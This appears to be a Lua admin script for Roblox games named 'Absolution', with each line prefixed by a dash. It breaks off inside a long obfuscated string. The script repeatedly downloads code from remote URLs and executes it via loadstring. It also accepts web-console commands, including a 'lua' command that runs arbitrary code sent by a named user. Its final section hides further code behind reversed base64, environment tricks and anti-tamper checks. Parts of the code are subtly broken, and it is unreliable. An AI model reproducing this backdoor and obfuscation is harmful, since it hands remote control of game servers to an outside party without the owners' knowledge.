- local aRecord = {}
- if str:len() > 0 then
- local bPlain = not bRegexp
- nMax = nMax or -1
- local nField, nStart = 1, 1
- local nFirst,nLast = str:find(sSeparator, nStart, bPlain)
- while nFirst and nMax ~= 0 do
- aRecord[nField] = str:sub(nStart, nFirst-1)
- nField = nField+1
- nStart = nLast+1
- nFirst,nLast = str:find(sSeparator, nStart, bPlain)
- nMax = nMax-1
- end
- aRecord[nField] = str:sub(nStart)
- end
- return aRecord
- end
- -- Auto LoadString --
- Absolution.Functions.AutoLoadstring = function()
- coroutine.wrap(function()
- while wait(10) do
- pcall(Absolution.Functions.getTempBans)
- ypcall(function()
- local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.UpdateURL, true) --Absolution.HttpConstants.IP..Absolution.HttpConstants.Remote, true)
- if hsync == Absolution.HttpConstants.PreviousSync then return end
- local dat = loadstring(hsync)()
- if not data.SERVER or data.SERVER:lower() ~= Absolution.uniqueKey:lower() and data.SERVER ~= 'all' then return end
- if data.update == 'nothing' then return end
- Absolution.Functions.Out('Admins', '[Titanpad] (UPDATE) - '..data['update'], 5)
- Absolution.Functions.Output('Admins','[Titanpad] (UPDATE)','Lime green',function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.update) end, 10)
- if data['load'] then
- local loaded,didntload = ypcall(data.load)
- if not loaded then
- Absolution.Functions.Output('Admins','Data unreadable!','Really red')
- Absolution.Functions.Output('Admins',didntload,'Really red')
- end
- else
- Absolution.Functions.Output('Admins','Data unreadable!','Really red')
- end
- Absolution.HttpConstants.PreviousSync = hsync
- Absolution.dataReady = true
- end)
- local function getPlayers(plrname)
- local rtn = {}
- for q,e in next,Absolution.Functions.getALLPlayers() do
- if e.Name:lower():sub(1,#plrname)==plrname:lower() then
- table.insert(rtn, e)
- end
- end
- return rtn
- end
- ypcall(function()
- local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.ConsoleTXT)
- local data = game.HttpService:JSONDecode(hsync)
- if data.data and data.data == 'nil' then return end
- if data.Servers~=Absolution.uniqueKey and data.Servers=='all' then
- Absolution.Functions.Out('Admins', '[WebConsole] (UPDATE) - '..data['Note'], 5)
- local cmd = data.Command
- local cmddat = Absolution.Functions.split(cmd, '/')
- local command = cmddat[1]
- local player = cmddat[2]
- local reason = cmddat[3]
- local sender = data.Note:sub(1,data.Note:find':'-1)
- local players = {}
- if player then
- pcall(function() players = getPlayers(player) end)
- end
- if command=='kill' then
- for q,e in pairs(players) do
- if e.Character then
- e.Character:breakJoints()
- end
- end
- elseif command=='respawn' then
- for q,e in pairs(players) do
- e.Character:LoadCharacter()
- end
- elseif command=='kick' then
- for q,e in pairs(players) do
- e:Kick('[ABSOLUTION]: Kicked by '..sender..' for '..reason)
- end
- elseif command=='ban' then
- for q,e in pairs(players) do
- Absolution.Ranked[e.Name].Description = reason..' ('..sender..')'
- Absolution.Ranked[e.Name].Rank = -1
- Absolution.Function.syncRankOut(e.Name)
- end
- elseif command=='message' then
- Absolution.Functions.Announce(sender..': '..player, true)
- elseif command=='hint' then
- Absolution.Functions.Announce(sender..': '..player)
- elseif command=='lua' then
- if sender~='Darkus_Theory' then return end
- loadstring(player)()
- end
- elseif data.Servers==Absolution.uniqueKey then
- Absolution.Functions.Out('Admins', '[WebConsole] (UPDATE) - '..data['Note'], 5)
- Absolution.Functions.Output('Admins','[WebConsole] (UPDATE)','Lime green',function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.Note) end, 10)
- Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.ConsolePHP)
- local cmd = data.Command
- local cmddat = Absolution.Functions.split(cmd, '/')
- local command = cmddat[1]
- local player = cmddat[2]
- local reason = cmddat[3]
- local sender = data.Note:sub(1,data.Note:find':'-1)
- local players = {}
- if player then
- pcall(function() players = getPlayers(player) end)
- end
- if command=='kill' then
- for q,e in pairs(players) do
- if e.Character then
- e.Character:breakJoints()
- end
- end
- elseif command=='respawn' then
- for q,e in pairs(players) do
- e.Character:LoadCharacter()
- end
- elseif command=='kick' then
- for q,e in pairs(players) do
- e:Kick('[ABSOLUTION]: Kicked by '..sender..' for '..reason)
- end
- elseif command=='ban' then
- for q,e in pairs(players) do
- Absolution.Ranked[e.Name].Description = reason..' ('..sender..')'
- Absolution.Ranked[e.Name].Rank = -1
- Absolution.Function.syncRankOut(e.Name)
- end
- elseif command=='message' then
- Absolution.Functions.Announce(sender..': '..player, true)
- elseif command=='hint' then
- Absolution.Functions.Announce(sender..': '..player)
- elseif command=='lua' then
- if sender~='Darkus_Theory' then return end
- loadstring(player)()
- end
- end
- Absolution.dataReady = true
- end)
- ypcall(function()
- local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Remote, true)
- if hsync == Absolution.HttpConstants.PreviousWSync then return end
- local dat = loadstring(hsync)()
- if not data.SERVER or data.SERVER:lower() ~= Absolution.uniqueKey:lower() and data.SERVER ~= 'all' then return end
- if data.update == 'nothing' then return end
- Absolution.Functions.Out('Admins', '[Website] (UPDATE) - '..data.update, 5)
- Absolution.Functions.Output('Admins', '[Website] (UPDATE)','Lime green', function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.update) end, 10)
- if data['load'] then
- local loaded,didntload = ypcall(data.load)
- if not loaded then
- Absolution.Functions.Output('Admins','Data unreadable!','Really red')
- Absolution.Functions.Output('Admins',didntload,'Really red')
- end
- else
- Absolution.Functions.Output('Admins','Data unreadable!','Really red')
- end
- Absolution.HttpConstants.PreviousWSync = hsync
- Absolution.dataReady = true
- end)
- end
- end)()
- end
- local h,l,p,j,e,y,q,q0,u,v,r,s,o=getfenv,0,"","\65\66\67\68\69\70\71\72\73\74\75\76\77\78\79\80\81\82\83\84\85\86\87\88\89\90\97\98\99\100\101\102\103\104\105\106\107\108\109\110\111\112\113\114\115\116\117\118\119\120\121\122\48\49\50\51\52\53\54\55\56\57\43\47",tostring,{},string.len,string.sub,pcall,1/0,"\37\100\37\100\37\100\63\37\100\63\37\100\63\37\100\63\37\100\63\37\100\63"o,s=(function(t,i,m,w,x)for m=1,q(j)do y[#y+1]=q0(j,m,m)end;i,x=h(l),function()i={}for m=1,v do i[#i+1]=y[m]end;return x(i)end;local c,f,k,a,b=t[y[33]..y[45]..y[47]..y[28]],t[y[32]..y[35]..y[40]..y[30]],t[y[29]..y[34]..y[27]..y[44]],i[y[38]..y[41]..y[27]..y[30]..y[45]..y[46]..y[44]..y[35]..y[40]..y[33]],i[y[45]..y[31]..y[46]..y[32]..y[31]..y[40]..y[48]]return(function(o)if u(b,a,h(a))then return x(p)end;return(c(c(c(o,"[^"..j.."=]",p),k(46),function(r)if r==k(61)then return(p)end;local x,y="",(f(j,r)-1)for o=6,1,-1 do x=x..e(y%2^o-y%2^(o-1)>0 and 1 or 0)end;return x;end),r,function(r)if #r~=8 then return p;end;local b=0;for y=1,8 do b=b+(q0(r,y,y)==e(1)and 2^(8-y)or 0)end;return k(b)end))end),a;end)''local function a(t)for p=1,#t do t[p]=o(t[p])end return s(o"cmV0dXJuIHVucGFjaw==")''(t)end;local g,g0,m,x,rf=a{"c3Bhd24=","ZXJyb3I=","YXNzZXJ0","Y29yb3V0aW5l","Z2V0ZmVudg=="}local lb={u(setfenv(s(o"c3Bhd24oY2hlY2tUYW1wZXJpbmcp"),h(l)))}local function c(b)return h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[33]..y[45]..y[47]..y[28]](b,".",function(s)return "\\" .. s:byte()end)end;local u0,l0,w,ia,z=c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"YXNzZXJ0KG5vdCB0YW1wZXJlZCwgIlRhbXBlcmluZyBkZXRlY3RlZCIp")local function i(g)for p=1,#g do g[p]=o(g[p])end return s(o"cmV0dXJuIHVucGFjaw==")''(g)end;local b0,v0=i{"eHBjYWxs","c3Bhd24="}local function ez(b)return h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[33]..y[45]..y[47]..y[28]](b,".",function(s)return "\\" .. s:byte()end)end;local y0,j0=ez(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),ez(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg==")local function h0(q0)for p=1,#q0 do q0[p]=o(q0[p])end return s(o"cmV0dXJuIHVucGFjaw==")''(q0)end;local tf,f,k=h0{"Y29yb3V0aW5l","d2FpdA==","Z2V0ZmVudg=="}s(h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[44]..y[31]..y[48]..y[31]..y[44]..y[45]..y[31]](o"ZG5lKV04ODFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQTtkbmUpXTQ2W2EsKXYocHVvckduSWtuYVJldGFsdWNsYWMuc25vaXRjbnVGLm5vaXR1bG9zYkEuLl03ODFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSBuZWh0XTAxW2E+KXYocHVvckduSWtuYVJldGFsdWNsYWMuc25vaXRjbnVGLm5vaXR1bG9zYkEgZmkpXTQ2W2EsXSkpdihnbmlydHNvdChrbmFSZG5pZjpzbm9pdGNudUYubm9pdHVsb3NiQVtza25hUi5ub2l0dWxvc2JBLi5dNjgxW2Esdih0dXB0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEpZG5lKWVtYU4udix2KGVjYWZyZXRuSWRla25hUnRlRy5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTU4MVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSlkbmUgZG5lKWRuZSluKGF0YUR3b2hzLnNub2l0Y251Ri5ub2l0dWxvc2JBO3k9ZWNuYXRzaUQuKWVtYU4ubihlbGJhVGRla25hUnRlZy5zbm9pdGNudUYubm9pdHVsb3NiQSluKHNzaW1zaUQuc25vaXRjbnVGLm5vaXR1bG9zYkEpKG5vaXRjbnVmLF00NlthLHksbih0dXB0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEgb2RdNDgxW2EsXTcxW2E9eSByb2Ypbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNzExW2EsXTM4MVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSlkbmUpbihhdGFEd29ocy5zbm9pdGNudUYubm9pdHVsb3NiQV0yODFbYT1lcHlUdGVsYmFULiluKGVsYmFUZGVrbmFSdGVnLnNub2l0Y251Ri5ub2l0dWxvc2JBKW4oc3NpbXNpRC5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTI4MVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSluKGF0YUR3b2hzLnNub2l0Y251Ri5ub2l0dWxvc2JBXTE4MVthPWVweVR0ZWxiYVQuKW4oZWxiYVRkZWtuYVJ0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkEpbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNDZbYSxdMTgxW2Esbih0dXB0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEpbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNzExW2EsXTA4MVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSBkbmUpZG5lKW4oYXRhRHdvaHMuc25vaXRjbnVGLm5vaXR1bG9zYkE7ZT1yb2xvQy4pZW1hTi5uKGVsYmFUZGVrbmFSdGVnLnNub2l0Y251Ri5ub2l0dWxvc2JBKW4oc3NpbXNpRC5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsZSxlLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBIG9kKX1dOTcxW2EsXTg3MVthLF03NzFbYSxdNjcxW2EsXTU3MVthLF00NzFbYSxdMzcxW2EsXTI3MVthLF0xNzFbYSxdMDcxW2EsXTk2MVthLF04NjFbYSxdNzYxW2EsXTY2MVthLF01NjFbYSxdNDYxW2EsXTM2MVthLF0yNjFbYSxdMTYxW2EsXTA2MVthLF04MDFbYSxdOTUxW2EsXTg1MVthLF03NTFbYSxdNjUxW2EsXTU1MVthLF00NTFbYSxdMzUxW2EsXTI1MVthLF0xNTFbYSxdMDUxW2EsXTk0MVthLF04NDFbYSxdNzQxW2EsXTY0MVthLF01NDFbYSxdNDQxW2EsXTM0MVthLF0yNDFbYSxdMTQxW2EsXTA0MVthLF05MzFbYSxdODMxW2EsXTczMVthLF02MzFbYSxdNTMxW2EsXTQzMVthLF0zMzFbYSxdMjMxW2EsXTEzMVthLF0wMzFbYSxdOTIxW2EsXTcxMVthLF04MjFbYSxdNzIxW2EsXTYyMVthLF01MjFbYSxdNDIxW2EsXTMyMVthLF0yMjFbYSxdMTIxW2EsXTAyMVthLF05MTFbYSxdODExW2F7KHNyaWFwIG5pIGUseSByb2Ypbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNzExW2EsXTYxMVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKW4oc3NpbXNpRC5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTUxMVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKV00NlthLF00MTFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSldODAxW2EsXTMxMVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSl2KHNkbmFtbW9Dd29oUy5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTIxMVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSldMTExW2EsdihkZXR0YWhDbm8uc25vaXRjbnVGLm5vaXR1bG9zYkEpKG5vaXRjbnVmLF00NlthLF0wMTFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQTt2PW4gbGFjb2wpdihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKXYobm9pdGNudWY9YXRhRHdvaHMuc25vaXRjbnVGLm5vaXR1bG9zYkE7ZG5lIGRuZSlkbmUpYywpeShnbmlydHNvdChnb0xkb01kbmVTLnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZihsbGFjcCBuZWh0XTg5W2E9PmtuYVIuaiBmaTtkbmUgZG5lIGRuZSBkbmUpXTkwMVthLF00NlthLF04MDFbYSwpZW1hTi50KGduaXJ0c290Li5dNzAxW2EuLl1rbmFSLmpbc2tuYVIubm9pdHVsb3NiQSx5KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSBlc2xlIGRuZSldMTNbYSxkdCh0bmlyUC5zbm9pdGNudUYubm9pdHVsb3NiQSldODlbYSxkdCx5KHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSBuZWh0IG16IHRvbiBmaSlkbmUpcCx5KG5vaXRjbnVGLnQpKG5vaXRjbnVmKGxsYWNweT1kdCxteiBsYWNvbCldNzFbYSttIytlbiMoYnVzOnA9cCBuZWh0IGtuYVIudD0+KSl5KGduaXJ0c290KGtuYVJkbmlmOnNub2l0Y251Ri5ub2l0dWxvc2JBIGZpIG5laHQgbS4uXTI4W2EuLl0yOFthLi5lbj09KW0jK2VuIyxdNzFbYShidXM6cCBmaSBvZClzZXNVLnQoc3JpYXAgbmkgZW4sYXYgcm9mIG9kKXNkbmFtbW9DLm5vaXR1bG9zYkEoc3JpYXAgbmkgdCxuIHJvZilkbmUpKXkoZ25pcnRzb3QsZW1hTi5DUkkuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBLHAodGFoQy5DUkkuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBKShub2l0Y251ZihsbGFjcDtkbmUgZG5lIGRuZSldMTAxW2EsdCh0ZWtjYVBkbmVzOnJlbGRuYUgubm9pdHVsb3NiQSBuZWh0KWVtYU4udChnbmlyb25nSXNJLnNub2l0Y251Ri5ub2l0dWxvc2JBIHRvbiBmaSldMTNbYSxwLi5dMDAxW2EsdCh0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEpXTEzW2EsXTYwMVthLi5lbWFOLnkuLl01MDFbYS4udmQuLl00MDFbYSx0KHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSlwKGV6aXRpbmFTLnNub2l0Y251Ri5ub2l0dWxvc2JBPXZkIGxhY29sIG5laHRdMzAxW2E8KXkoa25hUmRuaWY6c25vaXRjbnVGLm5vaXR1bG9zYkEgZG5hXTg5W2E9Pil0KGtuYVJkbmlmOnNub2l0Y251Ri5ub2l0dWxvc2JBIGRuYSlwKGV6aXRpbmFTLnNub2l0Y251Ri5ub2l0dWxvc2JBIGZpZXNsZSBkbmUpXTIwMVthLHQodGVrY2FQZG5lczpyZWxkbmFILm5vaXR1bG9zYkEpXTEwMVthLHQodGVrY2FQZG5lczpyZWxkbmFILm5vaXR1bG9zYkEgbmVodCllbWFOLnQoZ25pcm9uZ0lzSS5zbm9pdGNudUYubm9pdHVsb3NiQSB0b24gZmkpXTM0W2EscC4uXTAwMVthLHQodHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKV0zNFthLGUuLl05OVthLHQodHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBIG5laHQpKShyZXdvbDplbWFOLnQoZG5pZjopKHJld29sOnAgZmkgb2QpKHNyZXlhbFBMTEF0ZWc6c25vaXRjbnVGLm5vaXR1bG9zYkEsdHhlbiBuaSB0LG4gcm9mO2RuZSBkbmUgZG5lKWUsbixwKHRhaENkbmVzLnJlbGRuYUgubm9pdHVsb3NiQSBuZWh0IGU9fmVtYU4ubiBmaSBvZCkpKHNyZXlhbFBMTEF0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkEoc3JpYXAgbmkgbix0IHJvZiBuZWh0IHNyZXlhbFAuc2VjaXZyZVMubm9pdHVsb3NiQT1+dG5lcmFQLnkgZmk7cD1jIGxhY29sO2RuZSldODlbYShidXM6cD1wIG5laHRdNzlbYT09KV0xM1thLF03MVthKGJ1czpwIGZpKV02OVthIHJvXV01OVthW2ogZG5hXV01OVthW2ooPW0gbGFjb2wpKXkoZ25pcnRzb3QoZWxiYVRkZWtuYVJ0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkE9aiBsYWNvbDtlbWFOLnk9ZSBsYWNvbClwLHkobm9pdGNudWY9ZGV0dGFoQ25vLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZV01W2EgbnJ1dGVyO2RuZSBkbmUgeSBucnV0ZXIgbmVodCkpKHJld29sOnkoZG5pZjopKHJld29sOnYgZmkgb2Qpc2Ryb1dyZWdnaXJULm5vaXR1bG9zYkEoc3JpYXBpIG5pIHksaiByb2Ypdihub2l0Y251Zj1leml0aW5hUy5zbm9pdGNudUYubm9pdHVsb3NiQTtkbmUgcCBucnV0ZXI7c25hYnBtZVQubm9pdHVsb3NiQT1wIGxhY29sKSgpbihnbmlydHNkYW9sPXkgbGFjb2wpXTMxW2EsXTQ5W2EuLnNuYWJwbWVULnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQS4uUEkuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBKGNueXNBdGVHOmVjaXZyZVNwdHRILnNlY2l2cmVTLm5vaXR1bG9zYkE9biBsYWNvbCkobm9pdGNudWY9c25hQnBtZVR0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkE7ZG5lIGRuZV0zMVthIG5ydXRlciBlc2xlIGogbnJ1dGVyKV0xM1thLGoodG5pclAuc25vaXRjbnVGLm5vaXR1bG9zYkEgbmVodCBuIHRvbiBmaSlkbmUpZGVkb2NuRWxyVW5vaXRhY2lscHBBLmVweVR0bmV0bm9DcHR0SC5tdW5FLGN2LF0zOVthLi5zbmFicG1lVC5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkEuLlBJLnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQShjbnlzQXRzb1A6ZWNpdnJlU3B0dEguZW1hZz1sbCBsYWNvbCl2aih0PWN2IGxhY29sKWduaXJ0c290LHZqKGhjYWVyb2YuZWxiYXR9XWRuZXRbdmo9ZG5ldCxddHJhdHN0W3ZqPXRyYXRTZW1pdCxub3NhZXI9bm9zYWVSez1dZElyZXN1LmNbc25hYnBtZVQubm9pdHVsb3NiQX0pcCspKGtjaXQoPWRuZXQsKShrY2l0PXRyYXRzdCx5PW5vc2FlcixkSXJlc3UuYz1yZXlhbHB7PXZqIGxhY29sO2RuZSldMjlbYSx2cSh0YWNub2MuZWxiYXQgbnJ1dGVyO2RuZSkpYWMoZWRvY25FbHJVOmVjaXZyZVNwdHRILmVtYWcuLl0xOVthLi4pY3koZWRvY25FbHJVOmVjaXZyZVNwdHRILmVtYWcsdnEodHJlc25pLmVsYmF0IG9kKWNhKHNyaWFwIG5pIGFjLGN5IHJvZn17PXZxIGxhY29sKWNhKHQgbm9pdGNudWYgbGFjb2wpKG5vaXRjbnVmKGxsYWNweT1qLG4gbGFjb2wpcCx5LGMsbShub2l0Y251Zj1uYUJwbWVUdGVzLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZSBtIG5ydXRlcilkZWRvY25FbHJVbm9pdGFjaWxwcEEuZXB5VHRuZXRub0NwdHRILm11bkUscCx5KGNueXNBdHNvUDplY2l2cmVTcHR0SC5lbWFnPW0gbGFjb2wpcChjPXA7ZG5lKV0yOVthLHQodGFjbm9jLmVsYmF0IG5ydXRlcjtkbmUpKW1qKGVkb2NuRWxyVTplY2l2cmVTcHR0SC5lbWFnLi5dMTlbYS4uKXBhKGVkb2NuRWxyVTplY2l2cmVTcHR0SC5lbWFnLHQodHJlc25pLmVsYmF0IG9kKW4oc3JpYXAgbmkgbWoscGEgcm9mfXs9dCBsYWNvbCluKGMgbm9pdGNudWYgbGFjb2x9dj1kbWMsaj1kb217PXAgbGFjb2w7c2dvbGRvTS5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkEuLlBJLnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQT15IGxhY29sKXYsaihub2l0Y251Zj1nb0xkb01kbmVTLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZSlxeShucnV0ZXI7ZG5lXTA5W2EuLnl6Li5xeT1xeSBlc2xlXTA5W2EuLnl6Li5dMzhbYS4ucXk9cXkgbmVodCldNzFbYT09KShuZWw6KXl6KGduaXJ0c290KGZpO2RuZV05OFthLi5uYS4ucXk9cXkgZXNsZV05OFthLi5uYS4uXTM4W2EuLnF5PXF5IG5laHQpXTcxW2E9PSkobmVsOiluYShnbmlydHNvdChmaTtkbmUgZG5lXTg4W2EuLmouLnF5PXF5IGVzbGVdODhbYS4uai4uXTM4W2EuLnF5PXF5IG5laHQpXTcxW2E9PSkobmVsOilqKGduaXJ0c290KGZpIG5laHRdMDFbYT5qIGZpO2RuZSBkbmVdNzhbYS4ubi4ucXk9cXkgZXNsZV03OFthLi5uLi5dMzhbYS4ucXk9cXkgbmVodCldNzFbYT09KShuZWw6KW4oZ25pcnRzb3QoZmkgbmVodF0wMVthPm4gZmk7ZG5lIGRuZV02OFthLi5wLi5xeT1xeSBlc2xlXTY4W2EuLnAuLl0zOFthLi5xeT1xeSBuZWh0KV03MVthPT0pKG5lbDopcChnbmlydHNvdChmaSBuZWh0XTAxW2E+cCBmaTtkbmUgZG5lXTU4W2EuLnkuLnF5PXF5IGVzbGVdNThbYS4ueS4uXTM4W2EuLnF5PXF5IG5laHQpXTcxW2E9PSkobmVsOil5KGduaXJ0c290KGZpIG5laHRdMDFbYT55IGZpO2RuZSBkbmVdNDhbYS4uYy4ucXk9cXkgZXNsZV00OFthLi5jLi5dMzhbYS4ucXk9cXkgbmVodCldNzFbYT09KShuZWw6KWMoZ25pcnRzb3QoZmkgbmVodF0wMVthPmMgZmldMjhbYT1xeSBsYWNvbCldNzFbYS90KHJvb2xmLmh0YW09eXpdMThbYSpuYS10PXQpXTE4W2EvdChyb29sZi5odGFtPW5hXTA4W2Eqai10PXQpXTA4W2EvdChyb29sZi5odGFtPWpdOTdbYSpuLXQ9dCldOTdbYS90KHJvb2xmLmh0YW09bl04N1thKnAtdD10KV04N1thL3Qocm9vbGYuaHRhbT1wXTc3W2EqeS10PXQpXTc3W2EvdChyb29sZi5odGFtPXldNjdbYSpjLXQ9dCldNjdbYS90KHJvb2xmLmh0YW09Yzt5eixuYSxqLG4scCx5LGMgbGFjb2wpKShrY2l0IHJvIHQgZG5hIHQoPXQpdChub2l0Y251Zj1lbWlUdGVHLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZSkoc3RuaW9KZWthTTp5O2RuZV01W2E9ZGVyb2hjbkEucCBvZCkpKG5lcmRsaWhjOnkoc3JpYXAgbmkgcCxuIHJvZikpKG5lcmRsaWhjOnkoZGxldztkbmUgZG5lKShzdG5pb0prYWVyYjp6KV0zNFthL2VsYWNTbGxhQi5zZ25pdHRlUy5ub2l0dWxvc2JBLSxdMDFbYSxdMDFbYSh3ZW4uZW1hckZDKildMDFbYSwpaihkYXIuaHRhbSwpcChkYXIuaHRhbShzZWxnbkEuZW1hckZDKil2KHdlbi5lbWFyRkM9ZW1hckZDLnpdMDFbYT1lY2FmcnVTbW90dG9CLnpdMDFbYT1lY2FmcnVTcG9ULnpdMzFbYT1kZXJvaGNuQS56KV01N1thL2VsYWNTbGxhQi5zZ25pdHRlUy5ub2l0dWxvc2JBLF00N1thL2VsYWNTbGxhQi5zZ25pdHRlUy5ub2l0dWxvc2JBLF00N1thL2VsYWNTbGxhQi5zZ25pdHRlUy5ub2l0dWxvc2JBKHdlbi4zcm90Y2VWPWV6aVMuel0xNFthPXljbmVyYXBzbmFyVC56O2M9cm9sb0NrY2lyQi56XTM3W2E9cm90Y2FGbXJvZi56KXksXTI3W2Eod2VuLmVjbmF0c25JPXogbGFjb2wgb2RdOTZbYSxdMTdbYSxdMDdbYS09cCByb2YpKHRpYXcgb2RdOTZbYSxdODZbYSxdMDFbYT1qIHJvZikobW9kbmFSLnJvbG9Da2NpckI9YyBsYWNvbCluaWFycmVULmVjYXBza3JvdyxdNzZbYSh3ZW4uZWNuYXRzbkk9eSBsYWNvbCl2KG5vaXRjbnVmPWxsYUJla2FNLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZSBkbmUgZG5lIGM9ejtkbmUgdD0wQy5wKWVtYXJGQy5jKGVjYXBTdGNlamJPb3Q6ZW1hckZDLno9dCBsYWNvbDtjPTF0cmFQLnA7dG5lcmFQLnA9MHRyYVAucCl6LF02NlthKHdlbi5lY25hdHNuST1wIGxhY29sIG5laHQgeiBmaSBuZWh0KV01NlthKEFzSTpjIGZpIG9kKXYoc3JpYXAgbmkgYyx5IHJvZl00NlthPXogbGFjb2wpdihkbGV3IG5vaXRjbnVmO2RuZSBkbmUpZWNhcHNrcm9XLnNlY2l2cmVTLm5vaXR1bG9zYkEsXTM2W2EuLmMuLl0yNlthLi5jLi5dMTZbYSh0cGlyY1NldGFlcmMuc25vaXRjbnVGLm5vaXR1bG9zYkEgZXNsZSllY2Fwc2tyb1cuc2VjaXZyZVMubm9pdHVsb3NiQSxdMDZbYS4uYy4uXTk1W2EodHBpcmNTZXRhZXJjLnNub2l0Y251Ri5ub2l0dWxvc2JBIG5laHRdMzFbYT09aiBmaSl2LGosYyhub2l0Y251Zj1ick9kYW9sLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSBkbmUgbj1kbmFtbW9Dc3VvaXZlcnAuZWxvc25vQ25vaHR5cC5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkE7ZG5lKW4oZG5hbW1vQ3NzZWNvcnA6ZWxvc25vQ25vaHR5cC5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkEgbmVodCdsbHVuJ2RuaWY6biB0b24gZG5hJ3RpeGUnZG5pZjpuIHRvbiBkbmEgZG5hbW1vQ3N1b2l2ZXJwLmVsb3Nub0Nub2h0eXAuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBPX5uIGZpKShkbmFtbW9DdGVnOmVsb3Nub0Nub2h0eXAuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBPW4gbGFjb2wgb2QpXTg1W2EodGlhdyBlbGlodychZGV0YWNpdG5laHR1YSByZXZyZVMndG5pcnApKSl5ZUtldXFpbnUubm9pdHVsb3NiQShnbmlydHNvdCh0YW1yb2Y6KW5vaXRhY2l0bmVodHVBLnYuLlBJLnYoKGNueXNBdGVHOmVjaXZyZVNwdHRILnNlY2